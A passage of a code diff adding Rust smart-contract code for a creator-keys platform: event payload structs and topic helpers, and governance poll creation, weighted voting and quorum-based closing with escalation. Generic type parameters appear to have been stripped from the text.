(EARLY_ACCESS_MODE_CHANGED_EVENT_NAME, creator.clone()) +} + +#[derive(Clone, Debug, Eq, PartialEq)] +#[contracttype] +pub struct ReferralRegisteredEvent { + pub referee: Address, + pub referrer: Address, +} + +pub fn referral_registered_topics() -> Symbol { + REFERRAL_REGISTERED_EVENT_NAME +} + +#[derive(Clone, Debug, Eq, PartialEq)] +#[contracttype] +pub struct ReferralRewardAllocatedEvent { + pub referee: Address, + pub referrer: Address, + pub amount: i128, +} + +pub fn referral_reward_allocated_topics() -> Symbol { + REFERRAL_REWARD_ALLOCATED_EVENT_NAME +} + +#[derive(Clone, Debug, Eq, PartialEq)] +#[contracttype] +pub struct ReferralRewardsClaimedEvent { + pub referrer: Address, + pub amount: i128, +} + +pub fn referral_rewards_claimed_topics() -> Symbol { + REFERRAL_REWARDS_CLAIMED_EVENT_NAME +} + +#[derive(Clone, Debug, Eq, PartialEq)] +#[contracttype] +pub struct ReferralTierUpgradedEvent { + pub referrer: Address, + pub old_tier: u32, + pub new_tier: u32, + pub volume: i128, + pub reward_rate_bps: u32, +} + +pub fn referral_tier_upgraded_topics(referrer: &Address) -> (Symbol, Address) { + (REFERRAL_TIER_UPGRADED_EVENT_NAME, referrer.clone()) +} + +#[derive(Clone, Debug, Eq, PartialEq)] +#[contracttype] +pub struct KeysBurnedEvent { + pub wallet: Address, + pub key_id: Address, + pub quantity: u32, + pub new_supply: u32, +} + +pub fn keys_burned_topics(key_id: &Address) -> (Symbol, Address) { + (KEYS_BURNED_EVENT_NAME, key_id.clone()) +} + +/// Event shape: +/// - topics: `(QUORUM_UPDATED_EVENT_NAME, creator)` +/// - data: `QuorumUpdatedEvent` +#[derive(Clone, Debug, Eq, PartialEq)] +#[contracttype] +pub struct QuorumUpdatedEvent { + pub creator: Address, + pub quorum_bps: u32, + pub ledger: u32, +} + +pub fn quorum_updated_topics(creator: &Address) -> (Symbol, Address) { + (QUORUM_UPDATED_EVENT_NAME, creator.clone()) +} + +/// Event shape: +/// - topics: `(POLL_CLOSED_EVENT_NAME, creator, poll_id)` +/// - data: `PollClosedEvent` +#[derive(Clone, Debug, Eq, PartialEq)] +#[contracttype] +pub struct PollClosedEvent { + pub creator_id: Address, + pub poll_id: u32, + pub total_weight: u32, + /// Whether participation actually met the creator's `quorum_bps`. + /// + /// This stays `false` for a close that was only permitted because quorum + /// escalation had no extensions left, so off-chain consumers can tell a + /// genuine quorum from a deadline finalization. + pub quorum_reached: bool, + /// Whether this close was permitted purely by an exhausted extension budget. + pub finalized_by_exhaustion: bool, + pub ledger: u32, +} + +pub fn poll_closed_topics(creator: &Address, poll_id: u32) -> (Symbol, Address, u32) { + (POLL_CLOSED_EVENT_NAME, creator.clone(), poll_id) +} + +#[contracterror] +#[derive(Copy, Clone, Debug, Eq, PartialEq, PartialOrd, Ord)] +#[repr(u32)] +pub enum PollError { + NotRegistered = 20, + Overflow = 21, + InvalidOptionCount = 22, + QuestionTooLong = 23, + OptionTooLong = 24, + PollNotFound = 25, + PollExpired = 26, + NotAHolder = 27, + InvalidOption = 28, + QuorumNotReached = 29, + QuorumTooHigh = 30, + QuorumTooLow = 31, + Unauthorized = 32, + AlreadyClosed = 33, +} + +#[derive(Clone)] +#[contracttype] +pub enum PollDataKey { + NextPollId(Address), + Poll(Address, u32), + Vote(Address, u32, Address), + /// (creator, poll_id) -> number of quorum-escalation extensions consumed. + ExtensionCount(Address, u32), +} + +#[derive(Clone, Debug, Eq, PartialEq)] +#[contracttype] +pub struct Poll { + pub question: String, + pub options: Vec, + pub vote_counts: Vec, + pub total_weight: u32, + pub expires_at: u32, + pub closed: bool, +} + +#[derive(Clone, Debug, Eq, PartialEq)] +#[contracttype] +pub struct PollVote { + pub option_index: u32, + pub weight: u32, +} + +#[derive(Clone, Debug, Eq, PartialEq)] +#[contracttype] +pub struct PollResult { + pub question: String, + pub options: Vec, + pub vote_counts: Vec, + pub total_weight: u32, + pub expired: bool, + pub closed: bool, +} + +pub fn poll_storage_key(creator_id: &Address, poll_id: u32) -> PollDataKey { + PollDataKey::Poll(creator_id.clone(), poll_id) +} + +pub fn vote_storage_key(creator_id: &Address, poll_id: u32, voter: &Address) -> PollDataKey { + PollDataKey::Vote(creator_id.clone(), poll_id, voter.clone()) +} + +/// Storage key for a poll's consumed quorum-escalation extension count. +pub fn poll_extension_count_key(creator_id: &Address, poll_id: u32) -> PollDataKey { + PollDataKey::ExtensionCount(creator_id.clone(), poll_id) +} + +/// Reads the number of quorum-escalation extensions a poll has consumed. +/// +/// A poll that has never been evaluated returns `0`. +pub fn read_poll_extension_count(env: &Env, creator_id: &Address, poll_id: u32) -> u32 { + env.storage() + .persistent() + .get(&poll_extension_count_key(creator_id, poll_id)) + .unwrap_or(0) +} + +/// Persists a poll's consumed quorum-escalation extension count. +pub fn write_poll_extension_count(env: &Env, creator_id: &Address, poll_id: u32, count: u32) { + let key = poll_extension_count_key(creator_id, poll_id); + env.storage().persistent().set(&key, &count); + extend_key_ttl_to_full_window(env, &key); +} + +/// Returns `true` when a poll has consumed every extension the active +/// escalation config allows. +/// +/// A `false` here means the proposal can still be extended, so closing it below +/// quorum would cut off a vote that quorum escalation is meant to rescue. +/// Conversely a `true` here makes the proposal final: it closes on its own +/// deadline even if participation never reached quorum. +/// +/// When escalation is disabled — no config, or a `max_extensions` of `0` — this +/// returns `false`, which keeps [`close_poll`]'s quorum requirement exactly as it +/// behaved before escalation existed. Reporting "exhausted" there would instead +/// let a creator with a configured `quorum_bps` close any failing proposal. +pub fn poll_extensions_exhausted(env: &Env, creator_id: &Address, poll_id: u32) -> bool { + let max_extensions = crate::CreatorKeysContract::get_escalation_config(env.clone()) + .map(|c| c.max_extensions) + .unwrap_or(0); + if max_extensions == 0 { + return false; + } + read_poll_extension_count(env, creator_id, poll_id) >= max_extensions +} + +pub fn read_poll(env: &Env, creator_id: &Address, poll_id: u32) -> Result { + env.storage() + .persistent() + .get(&poll_storage_key(creator_id, poll_id)) + .ok_or(PollError::PollNotFound) +} + +/// Persists a poll record and refreshes its TTL. +pub fn write_poll(env: &Env, creator_id: &Address, poll_id: u32, poll: &Poll) { + let key = poll_storage_key(creator_id, poll_id); + env.storage().persistent().set(&key, poll); + extend_key_ttl_to_full_window(env, &key); +} + +pub fn is_poll_expired(env: &Env, poll: &Poll) -> bool { + env.ledger().sequence() >= poll.expires_at +} + +fn validate_poll_options(options: &Vec) -> Result<(), PollError> { + let option_count = options.len(); + if !(MIN_POLL_OPTIONS..=MAX_POLL_OPTIONS).contains(&option_count) { + return Err(PollError::InvalidOptionCount); + } + + let mut index = 0; + while index < option_count { + let option = options.get(index).ok_or(PollError::InvalidOption)?; + if option.len() > MAX_OPTION_CHARS { + return Err(PollError::OptionTooLong); + } + index += 1; + } + + Ok(()) +} + +#[contractimpl] +impl CreatorKeysContract { + /// Creates a creator-owned governance poll with two to four options. + /// + /// The creator address must authorize the call. Polls expire at the current ledger + /// sequence plus `duration_ledgers`, and the returned `poll_id` is scoped to the creator. + pub fn create_poll( + env: Env, + creator_id: Address, + question: String, + options: Vec, + duration_ledgers: u32, + ) -> Result { + creator_id.require_auth(); + read_registered_creator_profile(&env, &creator_id).map_err(|_| PollError::NotRegistered)?; + + if question.len() > MAX_QUESTION_CHARS { + return Err(PollError::QuestionTooLong); + } + validate_poll_options(&options)?; + + let mut vote_counts = Vec::new(&env); + let mut index = 0; + while index < options.len() { + vote_counts.push_back(0); + index += 1; + } + + let next_key = PollDataKey::NextPollId(creator_id.clone()); + let poll_id: u32 = env.storage().persistent().get(&next_key).unwrap_or(1); + let next_poll_id = poll_id.checked_add(1).ok_or(PollError::Overflow)?; + let expires_at = env + .ledger() + .sequence() + .checked_add(duration_ledgers) + .ok_or(PollError::Overflow)?; + + let poll = Poll { + question, + options, + vote_counts, + total_weight: 0, + expires_at, + closed: false, + }; + + env.storage() + .persistent() + .set(&poll_storage_key(&creator_id, poll_id), &poll); + env.storage().persistent().set(&next_key, &next_poll_id); + env.events().publish( + (POLL_CREATED_EVENT_NAME, creator_id.clone(), poll_id), + poll.expires_at, + ); + + Ok(poll_id) + } + + /// Casts or updates a weighted vote for a creator poll. + /// + /// The voter must authorize the call and must currently hold at least one liquid key for + /// the creator. Re-voting before expiry removes the previous weight and adds the voter's + /// current liquid key balance to the selected option. + pub fn cast_vote( + env: Env, + creator_id: Address, + voter: Address, + poll_id: u32, + option_index: u32, + ) -> Result<(), PollError> { + voter.require_auth(); + let mut poll = read_poll(&env, &creator_id, poll_id)?; + + if poll.closed { + return Err(PollError::AlreadyClosed); + } + if is_poll_expired(&env, &poll) { + return Err(PollError::PollExpired); + } + if option_index >= poll.options.len() { + return Err(PollError::InvalidOption); + } + + let delegate_key = constants::storage::delegate(&creator_id, &voter); + if env.storage().persistent().has(&delegate_key) { + return Err(PollError::Unauthorized); + } + + let balance_key = constants::storage::holder_balance_key(&creator_id, &voter); + let weight: u32 = env.storage().persistent().get(&balance_key).unwrap_or(0); + if weight == 0 { + return Err(PollError::NotAHolder); + } + + let vote_key = vote_storage_key(&creator_id, poll_id, &voter); + if let Some(previous_vote) = env + .storage() + .persistent() + .get::(&vote_key) + { + let previous_count = poll + .vote_counts + .get(previous_vote.option_index) + .ok_or(PollError::InvalidOption)?; + let updated_previous_count = previous_count + .checked_sub(previous_vote.weight) + .ok_or(PollError::Overflow)?; + poll.vote_counts + .set(previous_vote.option_index, updated_previous_count); + poll.total_weight = poll + .total_weight + .checked_sub(previous_vote.weight) + .ok_or(PollError::Overflow)?; + } + + let selected_count = poll + .vote_counts + .get(option_index) + .ok_or(PollError::InvalidOption)?; + let updated_selected_count = selected_count + .checked_add(weight) + .ok_or(PollError::Overflow)?; + poll.vote_counts.set(option_index, updated_selected_count); + poll.total_weight = poll + .total_weight + .checked_add(weight) + .ok_or(PollError::Overflow)?; + + env.storage() + .persistent() + .set(&poll_storage_key(&creator_id, poll_id), &poll); + env.storage().persistent().set( + &vote_key, + &PollVote { + option_index, + weight, + }, + ); + env.events().publish( + (POLL_VOTE_EVENT_NAME, creator_id.clone(), poll_id, voter), + (option_index, weight), + ); + + // Voting is a positive reputation signal for the creator whose key + // holders are exercising governance rights. + crate::accrue_reputation_on_governance_participation(&env, &creator_id) + .map_err(|_| PollError::Overflow)?; + + Ok(()) + } + + /// Returns the current weighted result for a creator poll. + pub fn get_poll_result( + env: Env, + creator_id: Address, + poll_id: u32, + ) -> Result { + let poll = read_poll(&env, &creator_id, poll_id)?; + let expired = is_poll_expired(&env, &poll); + Ok(PollResult { + question: poll.question, + options: poll.options, + vote_counts: poll.vote_counts, + total_weight: poll.total_weight, + expired, + closed: poll.closed, + }) + } + + /// Closes a creator poll if the configured quorum threshold has been reached. + /// + /// Computes participation as `total_voting_weight / circulating_supply` (in basis points) + /// against the creator's configured `quorum_bps`. If participation is below the quorum + /// threshold, the poll closes only once quorum escalation has no extensions left to give — + /// see [`poll_extensions_exhausted`]. Otherwise returns + /// `Err(PollError::QuorumNotReached)`. + /// + /// [`PollClosedEvent::quorum_reached`] always reports the real participation + /// outcome; a close that was only permitted because the extension budget ran + /// out is reported by [`PollClosedEvent::finalized_by_exhaustion`] instead. + pub fn close_poll( + env: Env, + creator_id: Address, + poll_id: u32, + ) -> Result { + let mut poll = read_poll(&env, &creator_id, poll_id)?; + + if poll.closed { + return Err(PollError::AlreadyClosed); + } + + let circulating_supply = read_creator_supply(&env, &creator_id); + let quorum_key = constants::storage::quorum_bps(&creator_id); + let quorum_bps: u32 = env.storage().persistent().get(&quorum_key).unwrap_or(0); + + // A creator with no configured quorum has no participation requirement, + // so the poll is always closable and has genuinely "reached" quorum. + let mut quorum_reached = true; + let mut finalized_by_exhaustion = false; + if quorum_bps > 0 { + // With no circulating supply, participation is undefined. A poll whose + // extensions are spent still has to close; one with budget left does not. + let participation_bps = if circulating_supply == 0 { + 0 + } else { + let total_weight_bps = (poll.total_weight as u128) + .checked_mul(10_000) + .ok_or(PollError::Overflow)?; + let required_bps = (circulating_supply as u128) + .checked_mul(quorum_bps as u128) + .ok_or(PollError::Overflow)?; + + if total_weight_bps >= required_bps { + 10_000 + } else { + ((total_weight_bps * 10_000) / required_bps) as u32 + } + }; + + quorum_reached = participation_bps >= 10_000; + if !quorum_reached { + finalized_by_exhaustion = poll_extensions_exhausted(&env, &creator_id, poll_id); + if !finalized_by_exhaustion { + return Err(PollError::QuorumNotReached); + } + } + } + + poll.closed = true; + write_poll(&env, &creator_id, poll_id, &poll); + + env.events().publish( + poll_closed_topics(&creator_id, poll_id), + PollClosedEvent { + creator_id: creator_id.clone(), + poll_id, + total_weight: poll.total_weight, + quorum_reached, + finalized_by_exhaustion, + ledger: env.ledger().sequence(), + }, + ); + + let expired = is_poll_expired(&env, &poll); + Ok(PollResult { + question: poll.question, + options: poll.options, + vote_counts: poll.vote_counts, + total_weight: poll.total_weight, + expired, + closed: true, + }) + } + + /// Alias for `close_poll`. + pub fn close_proposal( + env: Env, + creator_id: Address, + poll_id: u32, + ) -> Result { + Self::close_poll(env, creator_id, poll_id) + } +} + +/// Event name for batch buy completion. +pub const BATCH_BUY_COMPLETED_EVENT_NAME: Symbol = symbol_short!("bat_buy"); + +/// Stable batch buy completed event payload for downstream indexers. +/// +/// Event shape: +/// - topics: `(BATCH_BUY_COMPLETED_EVENT_NAME, buyer)` +/// - data: `BatchBuyCompletedEvent` +#[derive(Clone, Debug, Eq, PartialEq)] +#[contracttype] +pub struct BatchBuyCompletedEvent { + pub buyer: Address, + pub total_price_paid: i128, + pub order_count: u32, + pub ledger: u32, +} + +/// Shared batch buy completed event topics tuple. +pub fn batch_buy_completed_topics(buyer: &Address) -> (Symbol, Address) { + (BATCH_BUY_COMPLETED_EVENT_NAME, buyer.clone()) +} + +/// Event name for an atomic bundle purchase (Issue #1057). +pub const BUNDLE_EXECUTED_EVENT_NAME: Symbol = symbol_short!("bundle"); + +/// Per-item line of a [`BundleExecutedEvent`]. +/// +/// `price_paid` is the gross cost of `amount` keys of `key_id`, i.e. the same +/// figure `KeysBoughtEvent::price_paid` reports for a stand-alone buy. +#[derive(Clone, Debug, Eq, PartialEq)] +#[contracttype] +pub struct BundleItemBreakdown { + pub key_id: Address, + pub amount: u32, + pub price_paid: i128, +} + +/// Stable bundle-executed event payload for downstream indexers. +/// +/// Event shape: +/// - topics: `(BUNDLE_EXECUTED_EVENT_NAME, buyer)` +/// - data: `BundleExecutedEvent` +/// +/// Emitted exactly once, only after **every** item in the bundle succeeded. +/// `total_cost` always equals the sum of `items[*].price_paid`, and `items` +/// preserves the order the buyer submitted. +#[derive(Clone, Debug, Eq, PartialEq)] +#[contracttype] +pub struct BundleExecutedEvent { + pub buyer: Address, + pub items: Vec, + pub total_cost: i128, + pub ledger: u32, +} + +/// Shared bundle executed event topics tuple. +pub fn bundle_executed_topics(buyer: &Address) -> (Symbol, Address) { + (BUNDLE_EXECUTED_EVENT_NAME, buyer.clone()) +} + +/// Event name for batch sell completion. +pub const BATCH_SELL_COMPLETED_EVENT_NAME: Symbol = symbol_short!("bat_sell"); + +/// Stable batch sell completed event payload for downstream indexers. +/// +/// Event shape: +/// - topics: `(BATCH_SELL_COMPLETED_EVENT_NAME, seller)` +/// - data: `BatchSellCompletedEvent` +#[derive(Clone, Debug, Eq, PartialEq)] +#[contracttype] +pub struct BatchSellCompletedEvent { + pub seller: Address, + pub orders: Vec<(Address, u32, i128)>, + pub total_proceeds: i128, + pub ledger: u32, +} + +/// Shared batch sell completed event topics tuple. +pub fn batch_sell_completed_topics(seller: &Address) -> (Symbol, Address) { + (BATCH_SELL_COMPLETED_EVENT_NAME, seller.clone()) +} + +/// Event name for bonding curve migration. +pub const CURVE_MIGRATED_EVENT_NAME: Symbol = symbol_short!("curve_mig"); + +/// Stable curve migrated event payload for downstream indexers. +/// +/// Event shape: +/// - topics: `(CURVE_MIGRATED_EVENT_NAME, admin)` +/// - data: `CurveMigratedEvent` +#[derive(Clone, Debug, Eq, PartialEq)] +#[contracttype] +pub struct CurveMigratedEvent { + pub admin: Address, + pub new_exponent: u32, + pub key_count: u32, + pub ledger: u32, +} + +/// Shared curve migrated event topics tuple. +pub fn curve_migrated_topics(admin: &Address) -> (Symbol, Address) { + (CURVE_MIGRATED_EVENT_NAME, admin.clone()) +} + +/// Event name for royalty configuration update. +pub const ROYALTY_UPDATED_EVENT_NAME: Symbol = symbol_short!("roy_upd"); + +/// Stable royalty updated event payload for downstream indexers. +/// +/// Event shape: +/// - topics: `(ROYALTY_UPDATED_EVENT_NAME, creator)` +/// - data: `RoyaltyUpdatedEvent` +#[derive(Clone, Debug, Eq, PartialEq)] +#[contracttype] +pub struct RoyaltyUpdatedEvent { + pub creator: Address, + pub buy_fee_bps: u32, + pub sell_fee_bps: u32, + pub ledger: u32, +} + +/// Shared royalty updated event topics tuple. +pub fn royalty_updated_topics(creator: &Address) -> (Symbol, Address) { + (ROYALTY_UPDATED_EVENT_NAME, creator.clone()) +} + +// --- Auction events --- + +/// Event name for auction purchase. +pub const AUCTION_PURCHASE_EVENT_NAME: Symbol = symbol_short!("auc_buy"); + +/// Stable auction purchase event payload. +/// +/// Event shape: +/// - topics: `(AUCTION_PURCHASE_EVENT_NAME, creator, buyer)` +/// - data: `AuctionPurchaseEvent` +#[derive(Clone, Debug, Eq, PartialEq)] +#[contracttype] +pub struct AuctionPurchaseEvent { + pub buyer: Address, + pub creator_id: Address, + pub quantity: u32, + pub price_paid: i128, + pub new_supply: u32, + pub auction_sold: u32, + pub ledger: u32, +} + +/// Shared auction purchase event topics tuple. +pub fn auction_purchase_topics(creator: &Address, buyer: &Address) -> (Symbol, Address, Address) { + (AUCTION_PURCHASE_EVENT_NAME, creator.clone(), buyer.clone()) +} + +/// Event name for auction configured. +pub const AUCTION_CONFIGURED_EVENT_NAME: Symbol = symbol_short!("auc_cfg"); + +/// Stable auction configured event payload. +/// +/// Event shape: +/// - topics: `(AUCTION_CONFIGURED_EVENT_NAME, creator)` +/// - data: `AuctionConfiguredEvent` +#[derive(Clone, Debug, Eq, PartialEq)] +#[contracttype] +pub struct AuctionConfiguredEvent { + pub creator_id: Address, + pub auction_supply: u32, + pub auction_price: i128, + pub ledger: u32, +} + +/// Shared auction configured event topics tuple. +pub fn auction_configured_topics(creator: &Address) -> (Symbol, Address) { + (AUCTION_CONFIGURED_EVENT_NAME, creator.clone()) +} + +/// Event name for a new staking position created via `stake_keys_locked`. +pub const STAKE_EVENT_NAME: Symbol = symbol_short!("stake"); + +/// Event name for a lock period extension via `stake_extend`. +pub const STAKE_EXTENDED_EVENT_NAME: Symbol = symbol_short!("stk_ext"); + +/// Event name for an early (pre-maturity) unstake via `early_unstake`. +pub const EARLY_UNSTAKE_EVENT_NAME: Symbol = symbol_short!("stk_chl"); + +/// Event name for a reward claim at/after maturity via `claim_stake_reward`. +pub const STAKE_REWARD_CLAIMED_EVENT_NAME: Symbol = symbol_short!("stk_clm"); + +/// Stable stake event payload for downstream indexers. +/// +/// Event shape: +/// - topics: `(STAKE_EVENT_NAME, creator_id, holder, stake_id)` +/// - data: `StakeEvent` +#[derive(Clone, Debug, Eq, PartialEq)] +#[contracttype] +pub struct StakeEvent { + /// Creator whose keys are staked. + pub creator_id: Address, + /// Staker that locked the keys. + pub holder: Address, + /// Sequential position id for the `(creator, holder)` pair. + pub stake_id: u32, + /// Number of keys locked. + pub amount: u32, + /// Ledger sequence at which the position matures. + pub unlock_ledger: u32, +} + +/// Shared stake event topics tuple. +pub fn stake_topics( + creator: &Address, + holder: &Address, + stake_id: u32, +) -> (Symbol, Address, Address, u32) { + (STAKE_EVENT_NAME, creator.clone(), holder.clone(), stake_id) +} + +/// Stable stake-extend event payload for downstream indexers. +/// +/// Event shape: +/// - topics: `(STAKE_EXTENDED_EVENT_NAME, creator_id, holder, stake_id)` +/// - data: `StakeExtendedEvent` +#[derive(Clone, Debug, Eq, PartialEq)] +#[contracttype] +pub struct StakeExtendedEvent { + /// Creator whose keys are staked. + pub creator_id: Address, + /// Staker that locked the keys. + pub holder: Address, + /// Extended position id. + pub stake_id: u32, + /// New maturity ledger sequence after the extension. + pub unlock_ledger: u32, + /// Additional ledgers appended to the lock period. + pub additional_ledgers: u32, +} + +/// Shared stake-extend event topics tuple. +pub fn stake_extended_topics( + creator: &Address, + holder: &Address, + stake_id: u32, +) -> (Symbol, Address, Address, u32) { + ( + STAKE_EXTENDED_EVENT_NAME, + creator.clone(), + holder.clone(), + stake_id, + ) +} + +/// Stable early-unstake event payload for downstream indexers. +/// +/// Event shape: +/// - topics: `(EARLY_UNSTAKE_EVENT_NAME, creator_id, holder, stake_id)` +/// - data: `EarlyUnstakeEvent` +#[derive(Clone, Debug, Eq, PartialEq)] +#[contracttype] +pub struct EarlyUnstakeEvent { + /// Creator whose keys were staked. + pub creator_id: Address, + /// Staker that closed the position. + pub holder: Address, + /// Closed position id. + pub stake_id: u32, + /// Keys released back to the holder's liquid balance. + pub amount: u32, + /// Pro-rata reward entitlement removed from the pool. + pub forgone_reward: i128, + /// Penalty retained in the pool. + pub penalty: i128, + /// Ledger sequence at which the position was closed. + pub ledger: u32, +} + +/// Shared early-unstake event topics tuple. +pub fn early_unstake_topics( + creator: &Address, + holder: &Address, + stake_id: u32, +) -> (Symbol, Address, Address, u32) { + ( + EARLY_UNSTAKE_EVENT_NAME, + creator.clone(), + holder.clone(), + stake_id, + ) +} + +/// Stable stake-reward-claim event payload for downstream indexers. +/// +/// Event shape: +/// - topics: `(STAKE_REWARD_CLAIMED_EVENT_NAME, creator_id, holder, stake_id)` +/// - data: `StakeRewardClaimedEvent` +#[derive(Clone, Debug, Eq, PartialEq)] +#[contracttype] +pub struct StakeRewardClaimedEvent { + /// Creator whose keys were staked. + pub creator_id: Address, + /// Staker that closed the position. + pub holder: Address, + /// Closed position id. + pub stake_id: u32, + /// Keys released back to the holder's liquid balance. + pub amount: u32, + /// Reward paid out from the pool. + pub reward: i128, + /// Ledger sequence at which the position matured. + pub unlock_ledger: u32, + /// Ledger sequence at which the reward was claimed. + pub ledger: u32, +} + +/// Shared stake-reward-claim event topics tuple. +pub fn stake_reward_claimed_topics( + creator: &Address, + holder: &Address, + stake_id: u32, +) -> (Symbol, Address, Address, u32) { + ( + STAKE_REWARD_CLAIMED_EVENT_NAME, + creator.clone(), + holder.clone(), + stake_id, + ) +} + +// ============================================================================ +// Launch Penalty (#798) +// ============================================================================ + +/// Event name for launch penalty applied on sell. +pub const LAUNCH_PENALTY_APPLIED_EVENT_NAME: Symbol = symbol_short!("lnch_pnl"); + +/// Stable launch penalty applied event payload for downstream indexers. +/// +/// Event shape: +/// - topics: `(LAUNCH_PENALTY_APPLIED_EVENT_NAME, creator, seller)` +/// - data: `LaunchPenaltyAppliedEvent` +#[derive(Clone, Debug, Eq, PartialEq)] +#[contracttype] +pub struct LaunchPenaltyAppliedEvent { + /// Address of the creator whose key was sold. + pub creator_id: Address, + /// Address of the seller. + pub seller: Address, + /// Launch penalty basis points applied. + pub penalty_bps: u32, + /// Penalty amount deducted from proceeds. + pub penalty_amount: i128, + /// Ledger sequence at the time of the sale. + pub ledger: u32, +} + +/// Shared launch penalty applied event topics tuple. +pub fn launch_penalty_applied_topics( + creator: &Address, + seller: &Address, +) -> (Symbol, Address, Address) { + ( + LAUNCH_PENALTY_APPLIED_EVENT_NAME, + creator.clone(), + seller.clone(), + ) +} + +/// Event name for set_launch_penalty. +pub const LAUNCH_PENALTY_SET_EVENT_NAME: Symbol = symbol_short!("lnch_set"); + +/// Stable set launch penalty event payload for downstream indexers. +/// +/// Event shape: +/// - topics: `(LAUNCH_PENALTY_SET_EVENT_NAME, creator)` +/// - data: `LaunchPenaltySetEvent` +#[derive(Clone, Debug, Eq, PartialEq)] +#[contracttype] +pub struct LaunchPenaltySetEvent { + /// Address of the creator. + pub creator_id: Address, + /// New penalty basis points. + pub penalty_bps: u32, + /// Ledger sequence at the time of the update. + pub ledger: u32, +} + +/// Shared set launch penalty event topics tuple. +pub fn launch_penalty_set_topics(creator: &Address) -> (Symbol, Address) { + (LAUNCH_PENALTY_SET_EVENT_NAME, creator.clone()) +} + +// ============================================================================ +// Per-wallet buy cooldown +// ============================================================================ + +/// Event name for a buy rejected by the per-wallet cooldown guard. +pub const COOLDOWN_BLOCKED_EVENT_NAME: Symbol = symbol_short!("cd_blk"); + +/// Stable cooldown-blocked event payload for downstream indexers. +/// +/// Event shape: +/// - topics: `(COOLDOWN_BLOCKED_EVENT_NAME, creator_id, wallet)` +/// - data: `CooldownBlockedEvent` +/// +/// Emitted inside [`CreatorKeysContract::buy_key`] when the per-wallet +/// cooldown period has not elapsed since the buyer's last purchase. +#[derive(Clone, Debug, Eq, PartialEq)] +#[contracttype] +pub struct CooldownBlockedEvent { + /// Wallet whose buy was rejected. + pub wallet: Address, + /// Creator whose keys the buyer attempted to purchase. + pub creator_id: Address, + /// Number of ledgers remaining before the cooldown expires. + pub ledgers_remaining: u32, +} + +/// Shared cooldown blocked event topics tuple. +pub fn cooldown_blocked_topics(creator: &Address, wallet: &Address) -> (Symbol, Address, Address) { + (COOLDOWN_BLOCKED_EVENT_NAME, creator.clone(), wallet.clone()) +} + +// ============================================================================ +// Co-creator removal (#791) +// ============================================================================ + +/// Event name for a co-creator being removed. +pub const CO_CREATOR_REMOVED_EVENT_NAME: Symbol = symbol_short!("cc_rm"); + +/// Stable co-creator removed event payload for downstream indexers. +/// +/// Event shape: +/// - topics: `(CO_CREATOR_REMOVED_EVENT_NAME, creator_id, co_creator)` +/// - data: `CoCreatorRemovedEvent` +/// +/// Emitted inside `remove_co_creator` when a creator removes their co-creator split. +#[derive(Clone, Debug, Eq, PartialEq)] +#[contracttype] +pub struct CoCreatorRemovedEvent { + /// Address of the creator whose co-creator was removed. + pub creator_id: Address, + /// Address of the co-creator that was removed. + pub co_creator: Address, + /// Permission tier the co-creator held when removed. + pub role: crate::CoCreatorRole, +} + +/// Shared co-creator removed event topics tuple. +pub fn co_creator_removed_topics( + creator_id: &Address, + co_creator: &Address, +) -> (Symbol, Address, Address) { + ( + CO_CREATOR_REMOVED_EVENT_NAME, + creator_id.clone(), + co_creator.clone(), + ) +} + +/// Stable field order for co-creator removed event payloads. +pub const CO_CREATOR_REMOVED_DATA_FIELDS: [&str; 3] = ["creator_id", "co_creator", "role"]; + +/// Event name for dividend reinvestment. +pub const DIVIDEND_REINVESTED_EVENT_NAME: Symbol = symbol_short!("div_reinv"); + +/// Stable dividend reinvested event payload for downstream indexers. +/// +/// Event shape: +/// - topics: `(DIVIDEND_REINVESTED_EVENT_NAME, key_id, wallet)` +/// - data: `DividendReinvestedEvent` +#[derive(Clone, Debug, Eq, PartialEq)] +#[contracttype] +pub struct DividendReinvestedEvent { + pub wallet: Address, + pub key_id: Address, + pub keys_bought: u32, + pub remainder_returned: i128, +} + +/// Shared dividend reinvested event topics tuple. +pub fn dividend_reinvested_topics( + key_id: &Address, + wallet: &Address, +) -> (Symbol, Address, Address) { + ( + DIVIDEND_REINVESTED_EVENT_NAME, + key_id.clone(), + wallet.clone(), + ) +} + +// ============================================================================ +// Pre-launch auction configuration (#790) +// ============================================================================ + +/// Event name for an auction being cancelled. +pub const AUCTION_CANCELLED_EVENT_NAME: Symbol = symbol_short!("auc_cxl"); + +/// Stable auction cancelled event payload for downstream indexers. +/// +/// Event shape: +/// - topics: `(AUCTION_CANCELLED_EVENT_NAME, creator_id)` +/// - data: `AuctionCancelledEvent` +/// +/// Emitted inside `cancel_auction` when a creator cancels their pre-launch auction. +#[derive(Clone, Debug, Eq, PartialEq)] +#[contracttype] +pub struct AuctionCancelledEvent { + /// Address of the creator whose auction was cancelled. + pub creator_id: Address, +} + +/// Shared auction cancelled event topics tuple. +pub fn auction_cancelled_topics(creator: &Address) -> (Symbol, Address) { + (AUCTION_CANCELLED_EVENT_NAME, creator.clone()) +} + +// --- Key deprecation and holder buyback events (#834) --- + +/// Event name emitted when a creator deprecates their key. +pub const KEY_DEPRECATED_EVENT_NAME: Symbol = symbol_short!("key_dep"); + +/// Event name emitted when a holder redeems keys on a deprecated key. +pub const KEYS_REDEEMED_EVENT_NAME: Symbol = symbol_short!("key_rdm"); + +/// Stable field order for the key_deprecated event payload. +pub const KEY_DEPRECATED_DATA_FIELDS: [&str; 5] = [ + "creator", + "buyback_price_per_key", + "circulating_supply", + "total_escrow", + "ledger", +]; + +/// Stable field order for the keys_redeemed event payload. +pub const KEYS_REDEEMED_DATA_FIELDS: [&str; 6] = [ + "creator", + "holder", + "quantity", + "payout", + "new_supply", + "ledger", +]; + +/// Stable key-deprecated event payload for downstream indexers. +/// +/// Event shape: +/// - topics: `(KEY_DEPRECATED_EVENT_NAME, creator)` +/// - data: `KeyDeprecatedEvent` +#[derive(Clone, Debug, Eq, PartialEq)] +#[contracttype] +pub struct KeyDeprecatedEvent { + /// Creator who deprecated their key. + pub creator: Address, + /// Fixed XLM payout per key for all redemptions. + pub buyback_price_per_key: i128, + /// Circulating supply at the time of deprecation. + pub circulating_supply: u32, + /// Total XLM escrowed (`circulating_supply * buyback_price_per_key`). + pub total_escrow: i128, + /// Human-readable reason supplied by the creator (#973). + pub reason: String, + /// Optional successor key address (#973). `None` when not designated. + pub successor_key_id: Option
